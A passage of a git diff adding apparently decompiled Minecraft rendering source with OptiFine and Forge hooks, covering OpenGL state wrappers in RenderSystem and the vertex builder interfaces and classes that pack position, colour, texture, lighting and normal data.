p_readPixels_4_, p_readPixels_5_, p_readPixels_6_); + } + + public static void getString(int p_getString_0_, Consumer p_getString_1_) + { + assertThread(RenderSystem::isOnGameThread); + p_getString_1_.accept(GlStateManager.getString(p_getString_0_)); + } + + public static String getBackendDescription() + { + assertThread(RenderSystem::isInInitPhase); + return String.format("LWJGL version %s", GLX._getLWJGLVersion()); + } + + public static String getApiDescription() + { + assertThread(RenderSystem::isInInitPhase); + return GLX.getOpenGLVersionString(); + } + + public static LongSupplier initBackendSystem() + { + assertThread(RenderSystem::isInInitPhase); + return GLX._initGlfw(); + } + + public static void initRenderer(int p_initRenderer_0_, boolean p_initRenderer_1_) + { + assertThread(RenderSystem::isInInitPhase); + GLX._init(p_initRenderer_0_, p_initRenderer_1_); + } + + public static void setErrorCallback(GLFWErrorCallbackI p_setErrorCallback_0_) + { + assertThread(RenderSystem::isInInitPhase); + GLX._setGlfwErrorCallback(p_setErrorCallback_0_); + } + + public static void renderCrosshair(int p_renderCrosshair_0_) + { + assertThread(RenderSystem::isOnGameThread); + GLX._renderCrosshair(p_renderCrosshair_0_, true, true, true); + } + + public static void setupNvFogDistance() + { + assertThread(RenderSystem::isOnGameThread); + GLX._setupNvFogDistance(); + } + + @Deprecated + public static void glMultiTexCoord2f(int p_glMultiTexCoord2f_0_, float p_glMultiTexCoord2f_1_, float p_glMultiTexCoord2f_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.multiTexCoord2f(p_glMultiTexCoord2f_0_, p_glMultiTexCoord2f_1_, p_glMultiTexCoord2f_2_); + } + + public static String getCapsString() + { + assertThread(RenderSystem::isOnGameThread); + return GLX._getCapsString(); + } + + public static void setupDefaultState(int p_setupDefaultState_0_, int p_setupDefaultState_1_, int p_setupDefaultState_2_, int p_setupDefaultState_3_) + { + assertThread(RenderSystem::isInInitPhase); + GlStateManager.enableTexture(); + GlStateManager.shadeModel(7425); + GlStateManager.clearDepth(1.0D); + GlStateManager.enableDepthTest(); + GlStateManager.depthFunc(515); + GlStateManager.enableAlphaTest(); + GlStateManager.alphaFunc(516, 0.1F); + GlStateManager.matrixMode(5889); + GlStateManager.loadIdentity(); + GlStateManager.matrixMode(5888); + GlStateManager.viewport(p_setupDefaultState_0_, p_setupDefaultState_1_, p_setupDefaultState_2_, p_setupDefaultState_3_); + } + + public static int maxSupportedTextureSize() + { + assertThread(RenderSystem::isInInitPhase); + + if (MAX_SUPPORTED_TEXTURE_SIZE == -1) + { + int i = GlStateManager.getInteger(3379); + + for (int j = Math.max(32768, i); j >= 1024; j >>= 1) + { + GlStateManager.texImage2D(32868, 0, 6408, j, j, 0, 6408, 5121, (IntBuffer)null); + int k = GlStateManager.getTexLevelParameter(32868, 0, 4096); + + if (k != 0) + { + MAX_SUPPORTED_TEXTURE_SIZE = j; + return j; + } + } + + MAX_SUPPORTED_TEXTURE_SIZE = Math.max(i, 1024); + LOGGER.info("Failed to determine maximum texture size by probing, trying GL_MAX_TEXTURE_SIZE = {}", (int)MAX_SUPPORTED_TEXTURE_SIZE); + } + + return MAX_SUPPORTED_TEXTURE_SIZE; + } + + public static void glBindBuffer(int p_glBindBuffer_0_, Supplier p_glBindBuffer_1_) + { + GlStateManager.bindBuffer(p_glBindBuffer_0_, p_glBindBuffer_1_.get()); + } + + public static void glBufferData(int p_glBufferData_0_, ByteBuffer p_glBufferData_1_, int p_glBufferData_2_) + { + assertThread(RenderSystem::isOnRenderThreadOrInit); + GlStateManager.bufferData(p_glBufferData_0_, p_glBufferData_1_, p_glBufferData_2_); + } + + public static void glDeleteBuffers(int p_glDeleteBuffers_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.deleteBuffers(p_glDeleteBuffers_0_); + } + + public static void glUniform1i(int p_glUniform1i_0_, int p_glUniform1i_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform1i(p_glUniform1i_0_, p_glUniform1i_1_); + } + + public static void glUniform1(int p_glUniform1_0_, IntBuffer p_glUniform1_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform1i(p_glUniform1_0_, p_glUniform1_1_); + } + + public static void glUniform2(int p_glUniform2_0_, IntBuffer p_glUniform2_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform2i(p_glUniform2_0_, p_glUniform2_1_); + } + + public static void glUniform3(int p_glUniform3_0_, IntBuffer p_glUniform3_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform3i(p_glUniform3_0_, p_glUniform3_1_); + } + + public static void glUniform4(int p_glUniform4_0_, IntBuffer p_glUniform4_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform4i(p_glUniform4_0_, p_glUniform4_1_); + } + + public static void glUniform1(int p_glUniform1_0_, FloatBuffer p_glUniform1_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform1f(p_glUniform1_0_, p_glUniform1_1_); + } + + public static void glUniform2(int p_glUniform2_0_, FloatBuffer p_glUniform2_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform2f(p_glUniform2_0_, p_glUniform2_1_); + } + + public static void glUniform3(int p_glUniform3_0_, FloatBuffer p_glUniform3_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform3f(p_glUniform3_0_, p_glUniform3_1_); + } + + public static void glUniform4(int p_glUniform4_0_, FloatBuffer p_glUniform4_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniform4f(p_glUniform4_0_, p_glUniform4_1_); + } + + public static void glUniformMatrix2(int p_glUniformMatrix2_0_, boolean p_glUniformMatrix2_1_, FloatBuffer p_glUniformMatrix2_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniformMatrix2f(p_glUniformMatrix2_0_, p_glUniformMatrix2_1_, p_glUniformMatrix2_2_); + } + + public static void glUniformMatrix3(int p_glUniformMatrix3_0_, boolean p_glUniformMatrix3_1_, FloatBuffer p_glUniformMatrix3_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniformMatrix3f(p_glUniformMatrix3_0_, p_glUniformMatrix3_1_, p_glUniformMatrix3_2_); + } + + public static void glUniformMatrix4(int p_glUniformMatrix4_0_, boolean p_glUniformMatrix4_1_, FloatBuffer p_glUniformMatrix4_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.uniformMatrix4f(p_glUniformMatrix4_0_, p_glUniformMatrix4_1_, p_glUniformMatrix4_2_); + } + + public static void setupOutline() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.setupOutline(); + } + + public static void teardownOutline() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.teardownOutline(); + } + + public static void setupOverlayColor(IntSupplier p_setupOverlayColor_0_, int p_setupOverlayColor_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.setupOverlayColor(p_setupOverlayColor_0_.getAsInt(), p_setupOverlayColor_1_); + } + + public static void teardownOverlayColor() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.teardownOverlayColor(); + } + + public static void setupLevelDiffuseLighting(Vector3f p_setupLevelDiffuseLighting_0_, Vector3f p_setupLevelDiffuseLighting_1_, Matrix4f p_setupLevelDiffuseLighting_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.setupLighting(p_setupLevelDiffuseLighting_0_, p_setupLevelDiffuseLighting_1_, p_setupLevelDiffuseLighting_2_); + } + + public static void setupGuiFlatDiffuseLighting(Vector3f p_setupGuiFlatDiffuseLighting_0_, Vector3f p_setupGuiFlatDiffuseLighting_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.setupScaledLighting(p_setupGuiFlatDiffuseLighting_0_, p_setupGuiFlatDiffuseLighting_1_); + } + + public static void setupGui3DDiffuseLighting(Vector3f p_setupGui3DDiffuseLighting_0_, Vector3f p_setupGui3DDiffuseLighting_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.setupGui3DMatrix(p_setupGui3DDiffuseLighting_0_, p_setupGui3DDiffuseLighting_1_); + } + + public static void mulTextureByProjModelView() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.mulTextureByProjModelView(); + } + + public static void setupEndPortalTexGen() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.setupEndPortalTexGen(); + } + + public static void clearTexGen() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.clearTexGen(); + } + + public static void beginInitialization() + { + isInInit = true; + } + + public static void finishInitialization() + { + isInInit = false; + + if (!recordingQueue.isEmpty()) + { + replayQueue(); + } + + if (!recordingQueue.isEmpty()) + { + throw new IllegalStateException("Recorded to render queue during initialization"); + } + } + + public static void glGenBuffers(Consumer p_glGenBuffers_0_) + { + if (!isOnRenderThread()) + { + recordRenderCall(() -> + { + p_glGenBuffers_0_.accept(GlStateManager.genBuffers()); + }); + } + else + { + p_glGenBuffers_0_.accept(GlStateManager.genBuffers()); + } + } + + public static Tessellator renderThreadTesselator() + { + assertThread(RenderSystem::isOnRenderThread); + return RENDER_THREAD_TESSELATOR; + } + + public static void defaultBlendFunc() + { + blendFuncSeparate(GlStateManager.SourceFactor.SRC_ALPHA, GlStateManager.DestFactor.ONE_MINUS_SRC_ALPHA, GlStateManager.SourceFactor.ONE, GlStateManager.DestFactor.ZERO); + } + + public static void defaultAlphaFunc() + { + alphaFunc(516, 0.1F); + } + + @Deprecated + public static void runAsFancy(Runnable p_runAsFancy_0_) + { + boolean flag = Minecraft.isFabulousGraphicsEnabled(); + + if (!flag) + { + p_runAsFancy_0_.run(); + } + else + { + GameSettings gamesettings = Minecraft.getInstance().gameSettings; + GraphicsFanciness graphicsfanciness = gamesettings.graphicFanciness; + gamesettings.graphicFanciness = GraphicsFanciness.FANCY; + p_runAsFancy_0_.run(); + gamesettings.graphicFanciness = graphicsfanciness; + } + } +} diff --git a/src/com/mojang/blaze3d/systems/package-info.java b/src/com/mojang/blaze3d/systems/package-info.java new file mode 100644 index 00000000..3b82d20a --- /dev/null +++ b/src/com/mojang/blaze3d/systems/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.blaze3d.systems; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/blaze3d/vertex/DefaultColorVertexBuilder.java b/src/com/mojang/blaze3d/vertex/DefaultColorVertexBuilder.java new file mode 100644 index 00000000..566e2a1e --- /dev/null +++ b/src/com/mojang/blaze3d/vertex/DefaultColorVertexBuilder.java @@ -0,0 +1,19 @@ +package com.mojang.blaze3d.vertex; + +public abstract class DefaultColorVertexBuilder implements IVertexBuilder +{ + protected boolean defaultColor = false; + protected int defaultRed = 255; + protected int defaultGreen = 255; + protected int defaultBlue = 255; + protected int defaultAlpha = 255; + + public void setDefaultColor(int red, int green, int blue, int alpha) + { + this.defaultRed = red; + this.defaultGreen = green; + this.defaultBlue = blue; + this.defaultAlpha = alpha; + this.defaultColor = true; + } +} diff --git a/src/com/mojang/blaze3d/vertex/IVertexBuilder.java b/src/com/mojang/blaze3d/vertex/IVertexBuilder.java new file mode 100644 index 00000000..c906f661 --- /dev/null +++ b/src/com/mojang/blaze3d/vertex/IVertexBuilder.java @@ -0,0 +1,298 @@ +package com.mojang.blaze3d.vertex; + +import com.mojang.blaze3d.matrix.MatrixStack; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.client.renderer.BlockModelRenderer; +import net.minecraft.client.renderer.IRenderTypeBuffer; +import net.minecraft.client.renderer.LightTexture; +import net.minecraft.client.renderer.RenderType; +import net.minecraft.client.renderer.model.BakedQuad; +import net.minecraft.client.renderer.texture.TextureAtlasSprite; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Matrix3f; +import net.minecraft.util.math.vector.Matrix4f; +import net.minecraft.util.math.vector.Vector3f; +import net.minecraft.util.math.vector.Vector3i; +import net.minecraftforge.client.extensions.IForgeVertexBuilder; +import net.optifine.reflect.Reflector; +import net.optifine.render.RenderEnv; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public interface IVertexBuilder extends IForgeVertexBuilder +{ + Logger LOGGER = LogManager.getLogger(); + ThreadLocal RENDER_ENV = ThreadLocal.withInitial(() -> + { + return new RenderEnv(Blocks.AIR.getDefaultState(), new BlockPos(0, 0, 0)); + }); + boolean FORGE = Reflector.ForgeHooksClient.exists(); + +default RenderEnv getRenderEnv(BlockState p_getRenderEnv_1_, BlockPos p_getRenderEnv_2_) + { + RenderEnv renderenv = RENDER_ENV.get(); + renderenv.reset(p_getRenderEnv_1_, p_getRenderEnv_2_); + return renderenv; + } + +default RenderType getBlockLayer() + { + return null; + } + +default boolean isMultiTexture() + { + return false; + } + + IVertexBuilder pos(double x, double y, double z); + + IVertexBuilder color(int red, int green, int blue, int alpha); + + IVertexBuilder tex(float u, float v); + + IVertexBuilder overlay(int u, int v); + + IVertexBuilder lightmap(int u, int v); + + IVertexBuilder normal(float x, float y, float z); + + void endVertex(); + +default void addVertex(float x, float y, float z, float red, float green, float blue, float alpha, float texU, float texV, int overlayUV, int lightmapUV, float normalX, float normalY, float normalZ) + { + this.pos((double)x, (double)y, (double)z); + this.color(red, green, blue, alpha); + this.tex(texU, texV); + this.overlay(overlayUV); + this.lightmap(lightmapUV); + this.normal(normalX, normalY, normalZ); + this.endVertex(); + } + +default IVertexBuilder color(float red, float green, float blue, float alpha) + { + return this.color((int)(red * 255.0F), (int)(green * 255.0F), (int)(blue * 255.0F), (int)(alpha * 255.0F)); + } + +default IVertexBuilder lightmap(int lightmapUV) + { + return this.lightmap(lightmapUV & 65535, lightmapUV >> 16 & 65535); + } + +default IVertexBuilder overlay(int overlayUV) + { + return this.overlay(overlayUV & 65535, overlayUV >> 16 & 65535); + } + +default void addQuad(MatrixStack.Entry matrixEntryIn, BakedQuad quadIn, float redIn, float greenIn, float blueIn, int combinedLightIn, int combinedOverlayIn) + { + this.addQuad(matrixEntryIn, quadIn, this.getTempFloat4(1.0F, 1.0F, 1.0F, 1.0F), redIn, greenIn, blueIn, this.getTempInt4(combinedLightIn, combinedLightIn, combinedLightIn, combinedLightIn), combinedOverlayIn, false); + } + +default void addVertexData(MatrixStack.Entry p_addVertexData_1_, BakedQuad p_addVertexData_2_, float[] p_addVertexData_3_, float p_addVertexData_4_, float p_addVertexData_5_, float p_addVertexData_6_, float p_addVertexData_7_, int[] p_addVertexData_8_, int p_addVertexData_9_, boolean p_addVertexData_10_) + { + this.addQuad(p_addVertexData_1_, p_addVertexData_2_, p_addVertexData_3_, p_addVertexData_4_, p_addVertexData_5_, p_addVertexData_6_, p_addVertexData_7_, p_addVertexData_8_, p_addVertexData_9_, p_addVertexData_10_); + } + +default void addQuad(MatrixStack.Entry matrixEntryIn, BakedQuad quadIn, float[] colorMuls, float redIn, float greenIn, float blueIn, int[] combinedLightsIn, int combinedOverlayIn, boolean mulColor) + { + this.addQuad(matrixEntryIn, quadIn, colorMuls, redIn, greenIn, blueIn, 1.0F, combinedLightsIn, combinedOverlayIn, mulColor); + } + +default void addQuad(MatrixStack.Entry p_addQuad_1_, BakedQuad p_addQuad_2_, float[] p_addQuad_3_, float p_addQuad_4_, float p_addQuad_5_, float p_addQuad_6_, float p_addQuad_7_, int[] p_addQuad_8_, int p_addQuad_9_, boolean p_addQuad_10_) + { + int[] aint = this.isMultiTexture() ? p_addQuad_2_.getVertexDataSingle() : p_addQuad_2_.getVertexData(); + this.putSprite(p_addQuad_2_.getSprite()); + boolean flag = BlockModelRenderer.isSeparateAoLightValue(); + Vector3i vector3i = p_addQuad_2_.getFace().getDirectionVec(); + float f = (float)vector3i.getX(); + float f1 = (float)vector3i.getY(); + float f2 = (float)vector3i.getZ(); + Matrix4f matrix4f = p_addQuad_1_.getMatrix(); + Matrix3f matrix3f = p_addQuad_1_.getNormal(); + float f3 = matrix3f.getTransformX(f, f1, f2); + float f4 = matrix3f.getTransformY(f, f1, f2); + float f5 = matrix3f.getTransformZ(f, f1, f2); + int i = 8; + int j = DefaultVertexFormats.BLOCK.getIntegerSize(); + int k = aint.length / j; + + for (int l = 0; l < k; ++l) + { + int i1 = l * j; + float f6 = Float.intBitsToFloat(aint[i1 + 0]); + float f7 = Float.intBitsToFloat(aint[i1 + 1]); + float f8 = Float.intBitsToFloat(aint[i1 + 2]); + float f12 = 1.0F; + float f13 = flag ? 1.0F : p_addQuad_3_[l]; + float f9; + float f10; + float f11; + + if (p_addQuad_10_) + { + int j1 = aint[i1 + 3]; + float f14 = (float)(j1 & 255) / 255.0F; + float f15 = (float)(j1 >> 8 & 255) / 255.0F; + float f16 = (float)(j1 >> 16 & 255) / 255.0F; + f9 = f14 * f13 * p_addQuad_4_; + f10 = f15 * f13 * p_addQuad_5_; + f11 = f16 * f13 * p_addQuad_6_; + + if (FORGE) + { + float f17 = (float)(j1 >> 24 & 255) / 255.0F; + f12 = f17 * p_addQuad_7_; + } + } + else + { + f9 = f13 * p_addQuad_4_; + f10 = f13 * p_addQuad_5_; + f11 = f13 * p_addQuad_6_; + + if (FORGE) + { + f12 = p_addQuad_7_; + } + } + + int k1 = p_addQuad_8_[l]; + + if (FORGE) + { + k1 = this.applyBakedLighting(p_addQuad_8_[l], aint, i1); + } + + float f19 = Float.intBitsToFloat(aint[i1 + 4]); + float f20 = Float.intBitsToFloat(aint[i1 + 5]); + float f21 = matrix4f.getTransformX(f6, f7, f8, 1.0F); + float f22 = matrix4f.getTransformY(f6, f7, f8, 1.0F); + float f18 = matrix4f.getTransformZ(f6, f7, f8, 1.0F); + + if (FORGE) + { + Vector3f vector3f = this.applyBakedNormals(aint, i1, p_addQuad_1_.getNormal()); + + if (vector3f != null) + { + f3 = vector3f.getX(); + f4 = vector3f.getY(); + f5 = vector3f.getZ(); + } + } + + if (flag) + { + f12 = p_addQuad_3_[l]; + } + + this.addVertex(f21, f22, f18, f9, f10, f11, f12, f19, f20, p_addQuad_9_, k1, f3, f4, f5); + } + } + + default IVertexBuilder pos(float x, float y, float z) + { + return this.pos((double)x, (double)y, (double)z); + } +default IVertexBuilder pos(Matrix4f matrixIn, float x, float y, float z) + { + float f = matrixIn.getTransformX(x, y, z, 1.0F); + float f1 = matrixIn.getTransformY(x, y, z, 1.0F); + float f2 = matrixIn.getTransformZ(x, y, z, 1.0F); + return this.pos((double)f, (double)f1, (double)f2); + } + +default IVertexBuilder normal(Matrix3f matrixIn, float x, float y, float z) + { + float f = matrixIn.getTransformX(x, y, z); + float f1 = matrixIn.getTransformY(x, y, z); + float f2 = matrixIn.getTransformZ(x, y, z); + return this.normal(f, f1, f2); + } + +default void putSprite(TextureAtlasSprite p_putSprite_1_) + { + } + +default void setSprite(TextureAtlasSprite p_setSprite_1_) + { + } + +default void setBlockLayer(RenderType p_setBlockLayer_1_) + { + } + +default Vector3f getTempVec3f(Vector3f p_getTempVec3f_1_) + { + return p_getTempVec3f_1_.copy(); + } + +default Vector3f getTempVec3f(float p_getTempVec3f_1_, float p_getTempVec3f_2_, float p_getTempVec3f_3_) + { + return new Vector3f(p_getTempVec3f_1_, p_getTempVec3f_2_, p_getTempVec3f_3_); + } + +default float[] getTempFloat4(float p_getTempFloat4_1_, float p_getTempFloat4_2_, float p_getTempFloat4_3_, float p_getTempFloat4_4_) + { + return new float[] {p_getTempFloat4_1_, p_getTempFloat4_2_, p_getTempFloat4_3_, p_getTempFloat4_4_}; + } + +default int[] getTempInt4(int p_getTempInt4_1_, int p_getTempInt4_2_, int p_getTempInt4_3_, int p_getTempInt4_4_) + { + return new int[] {p_getTempInt4_1_, p_getTempInt4_2_, p_getTempInt4_3_, p_getTempInt4_4_}; + } + +default IRenderTypeBuffer.Impl getRenderTypeBuffer() + { + return null; + } + +default int applyBakedLighting(int p_applyBakedLighting_1_, int[] p_applyBakedLighting_2_, int p_applyBakedLighting_3_) + { + int i = getLightOffset(0); + int j = LightTexture.getLightBlock(p_applyBakedLighting_2_[p_applyBakedLighting_3_ + i]); + int k = LightTexture.getLightSky(p_applyBakedLighting_2_[p_applyBakedLighting_3_ + i]); + + if (j == 0 && k == 0) + { + return p_applyBakedLighting_1_; + } + else + { + int l = LightTexture.getLightBlock(p_applyBakedLighting_1_); + int i1 = LightTexture.getLightSky(p_applyBakedLighting_1_); + l = Math.max(l, j); + i1 = Math.max(i1, k); + return LightTexture.packLight(l, i1); + } + } + + static int getLightOffset(int p_getLightOffset_0_) + { + return p_getLightOffset_0_ * 8 + 6; + } + +default Vector3f applyBakedNormals(int[] p_applyBakedNormals_1_, int p_applyBakedNormals_2_, Matrix3f p_applyBakedNormals_3_) + { + int i = 7; + int j = p_applyBakedNormals_1_[p_applyBakedNormals_2_ + i]; + byte b0 = (byte)(j >> 0 & 255); + byte b1 = (byte)(j >> 8 & 255); + byte b2 = (byte)(j >> 16 & 255); + + if (b0 == 0 && b1 == 0 && b2 == 0) + { + return null; + } + else + { + Vector3f vector3f = this.getTempVec3f((float)b0 / 127.0F, (float)b1 / 127.0F, (float)b2 / 127.0F); + vector3f.transform(p_applyBakedNormals_3_); + return vector3f; + } + } +} diff --git a/src/com/mojang/blaze3d/vertex/IVertexConsumer.java b/src/com/mojang/blaze3d/vertex/IVertexConsumer.java new file mode 100644 index 00000000..9d8e16ba --- /dev/null +++ b/src/com/mojang/blaze3d/vertex/IVertexConsumer.java @@ -0,0 +1,141 @@ +package com.mojang.blaze3d.vertex; + +import net.minecraft.client.renderer.vertex.VertexFormatElement; +import net.minecraft.util.math.MathHelper; + +public interface IVertexConsumer extends IVertexBuilder +{ + VertexFormatElement getCurrentElement(); + + void nextVertexFormatIndex(); + + void putByte(int indexIn, byte byteIn); + + void putShort(int indexIn, short shortIn); + + void putFloat(int indexIn, float floatIn); + +default IVertexBuilder pos(double x, double y, double z) + { + if (this.getCurrentElement().getType() != VertexFormatElement.Type.FLOAT) + { + throw new IllegalStateException(); + } + else + { + this.putFloat(0, (float)x); + this.putFloat(4, (float)y); + this.putFloat(8, (float)z); + this.nextVertexFormatIndex(); + return this; + } + } + +default IVertexBuilder color(int red, int green, int blue, int alpha) + { + VertexFormatElement vertexformatelement = this.getCurrentElement(); + + if (vertexformatelement.getUsage() != VertexFormatElement.Usage.COLOR) + { + return this; + } + else if (vertexformatelement.getType() != VertexFormatElement.Type.UBYTE) + { + throw new IllegalStateException(); + } + else + { + this.putByte(0, (byte)red); + this.putByte(1, (byte)green); + this.putByte(2, (byte)blue); + this.putByte(3, (byte)alpha); + this.nextVertexFormatIndex(); + return this; + } + } + +default IVertexBuilder tex(float u, float v) + { + VertexFormatElement vertexformatelement = this.getCurrentElement(); + + if (vertexformatelement.getUsage() == VertexFormatElement.Usage.UV && vertexformatelement.getIndex() == 0) + { + if (vertexformatelement.getType() != VertexFormatElement.Type.FLOAT) + { + throw new IllegalStateException(); + } + else + { + this.putFloat(0, u); + this.putFloat(4, v); + this.nextVertexFormatIndex(); + return this; + } + } + else + { + return this; + } + } + +default IVertexBuilder overlay(int u, int v) + { + return this.texShort((short)u, (short)v, 1); + } + +default IVertexBuilder lightmap(int u, int v) + { + return this.texShort((short)u, (short)v, 2); + } + +default IVertexBuilder texShort(short u, short v, int index) + { + VertexFormatElement vertexformatelement = this.getCurrentElement(); + + if (vertexformatelement.getUsage() == VertexFormatElement.Usage.UV && vertexformatelement.getIndex() == index) + { + if (vertexformatelement.getType() != VertexFormatElement.Type.SHORT) + { + throw new IllegalStateException(); + } + else + { + this.putShort(0, u); + this.putShort(2, v); + this.nextVertexFormatIndex(); + return this; + } + } + else + { + return this; + } + } + +default IVertexBuilder normal(float x, float y, float z) + { + VertexFormatElement vertexformatelement = this.getCurrentElement(); + + if (vertexformatelement.getUsage() != VertexFormatElement.Usage.NORMAL) + { + return this; + } + else if (vertexformatelement.getType() != VertexFormatElement.Type.BYTE) + { + throw new IllegalStateException(); + } + else + { + this.putByte(0, normalInt(x)); + this.putByte(1, normalInt(y)); + this.putByte(2, normalInt(z)); + this.nextVertexFormatIndex(); + return this; + } + } + + static byte normalInt(float num) + { + return (byte)((int)(MathHelper.clamp(num, -1.0F, 1.0F) * 127.0F) & 255); + } +} diff --git a/src/com/mojang/blaze3d/vertex/MatrixApplyingVertexBuilder.java b/src/com/mojang/blaze3d/vertex/MatrixApplyingVertexBuilder.java new file mode 100644 index 00000000..3b84421c --- /dev/null +++ b/src/com/mojang/blaze3d/vertex/MatrixApplyingVertexBuilder.java @@ -0,0 +1,101 @@ +package com.mojang.blaze3d.vertex; + +import net.minecraft.util.Direction; +import net.minecraft.util.math.vector.Matrix3f; +import net.minecraft.util.math.vector.Matrix4f; +import net.minecraft.util.math.vector.Vector3f; +import net.minecraft.util.math.vector.Vector4f; + +public class MatrixApplyingVertexBuilder extends DefaultColorVertexBuilder +{ + private final IVertexBuilder vertexBuilder; + private final Matrix4f currentTransformMatrixInverted; + private final Matrix3f normalMatrixInverted; + private float posX; + private float posY; + private float posZ; + private int u; + private int v; + private int light; + private float normalX; + private float normalY; + private float normalZ; + + public MatrixApplyingVertexBuilder(IVertexBuilder vertexBuilder, Matrix4f currentTransformMatrix, Matrix3f normalMatrix) + { + this.vertexBuilder = vertexBuilder; + this.currentTransformMatrixInverted = currentTransformMatrix.copy(); + this.currentTransformMatrixInverted.invert(); + this.normalMatrixInverted = normalMatrix.copy(); + this.normalMatrixInverted.invert(); + this.reset(); + } + + private void reset() + { + this.posX = 0.0F; + this.posY = 0.0F; + this.posZ = 0.0F; + this.u = 0; + this.v = 10; + this.light = 15728880; + this.normalX = 0.0F; + this.normalY = 1.0F; + this.normalZ = 0.0F; + } + + public void endVertex() + { + Vector3f vector3f = new Vector3f(this.normalX, this.normalY, this.normalZ); + vector3f.transform(this.normalMatrixInverted); + Direction direction = Direction.getFacingFromVector(vector3f.getX(), vector3f.getY(), vector3f.getZ()); + Vector4f vector4f = new Vector4f(this.posX, this.posY, this.posZ, 1.0F); + vector4f.transform(this.currentTransformMatrixInverted); + vector4f.transform(Vector3f.YP.rotationDegrees(180.0F)); + vector4f.transform(Vector3f.XP.rotationDegrees(-90.0F)); + vector4f.transform(direction.getRotation()); + float f = -vector4f.getX(); + float f1 = -vector4f.getY(); + this.vertexBuilder.pos((double)this.posX, (double)this.posY, (double)this.posZ).color(1.0F, 1.0F, 1.0F, 1.0F).tex(f, f1).overlay(this.u, this.v).lightmap(this.light).normal(this.normalX, this.normalY, this.normalZ).endVertex(); + this.reset(); + } + + public IVertexBuilder pos(double x, double y, double z) + { + this.posX = (float)x; + this.posY = (float)y; + this.posZ = (float)z; + return this; + } + + public IVertexBuilder color(int red, int green, int blue, int alpha) + { + return this; + } + + public IVertexBuilder tex(float u, float v) + { + return this; + } + + public IVertexBuilder overlay(int u, int v) + { + this.u = u; + this.v = v; + return this; + } + + public IVertexBuilder lightmap(int u, int v) + { + this.light = u | v << 16; + return this; + } + + public IVertexBuilder normal(float x, float y, float z) + { + this.normalX = x; + this.normalY = y; + this.normalZ = z; + return this; + } +} diff --git a/src/com/mojang/blaze3d/vertex/VertexBuilderUtils.java b/src/com/mojang/blaze3d/vertex/VertexBuilderUtils.java new file mode 100644 index 00000000..cd411109 --- /dev/null +++ b/src/com/mojang/blaze3d/vertex/VertexBuilderUtils.java @@ -0,0 +1,130 @@ +package com.mojang.blaze3d.vertex; + +import net.minecraft.client.renderer.IRenderTypeBuffer; +import net.minecraft.client.renderer.RenderType; +import net.minecraft.client.renderer.texture.TextureAtlasSprite; +import net.minecraft.util.math.vector.Vector3f; + +public class VertexBuilderUtils +{ + public static IVertexBuilder newDelegate(IVertexBuilder vertexBuilder, IVertexBuilder delegateBuilder) + { + return new VertexBuilderUtils.DelegatingVertexBuilder(vertexBuilder, delegateBuilder); + } + + static class DelegatingVertexBuilder implements IVertexBuilder + { + private final IVertexBuilder vertexBuilder; + private final IVertexBuilder delegateBuilder; + + public DelegatingVertexBuilder(IVertexBuilder vertexBuilder, IVertexBuilder delegateBuilder) + { + if (vertexBuilder == delegateBuilder) + { + throw new IllegalArgumentException("Duplicate delegates"); + } + else + { + this.vertexBuilder = vertexBuilder; + this.delegateBuilder = delegateBuilder; + } + } + + public IVertexBuilder pos(double x, double y, double z) + { + this.vertexBuilder.pos(x, y, z); + this.delegateBuilder.pos(x, y, z); + return this; + } + + public IVertexBuilder color(int red, int green, int blue, int alpha) + { + this.vertexBuilder.color(red, green, blue, alpha); + this.delegateBuilder.color(red, green, blue, alpha); + return this; + } + + public IVertexBuilder tex(float u, float v) + { + this.vertexBuilder.tex(u, v); + this.delegateBuilder.tex(u, v); + return this; + } + + public IVertexBuilder overlay(int u, int v) + { + this.vertexBuilder.overlay(u, v); + this.delegateBuilder.overlay(u, v); + return this; + } + + public IVertexBuilder lightmap(int u, int v) + { + this.vertexBuilder.lightmap(u, v); + this.delegateBuilder.lightmap(u, v); + return this; + } + + public IVertexBuilder normal(float x, float y, float z) + { + this.vertexBuilder.normal(x, y, z); + this.delegateBuilder.normal(x, y, z); + return this; + } + + public void addVertex(float x, float y, float z, float red, float green, float blue, float alpha, float texU, float texV, int overlayUV, int lightmapUV, float normalX, float normalY, float normalZ) + { + this.vertexBuilder.addVertex(x, y, z, red, green, blue, alpha, texU, texV, overlayUV, lightmapUV, normalX, normalY, normalZ); + this.delegateBuilder.addVertex(x, y, z, red, green, blue, alpha, texU, texV, overlayUV, lightmapUV, normalX, normalY, normalZ); + } + + public void endVertex() + { + this.vertexBuilder.endVertex(); + this.delegateBuilder.endVertex(); + } + + public void putSprite(TextureAtlasSprite p_putSprite_1_) + { + this.vertexBuilder.putSprite(p_putSprite_1_); + 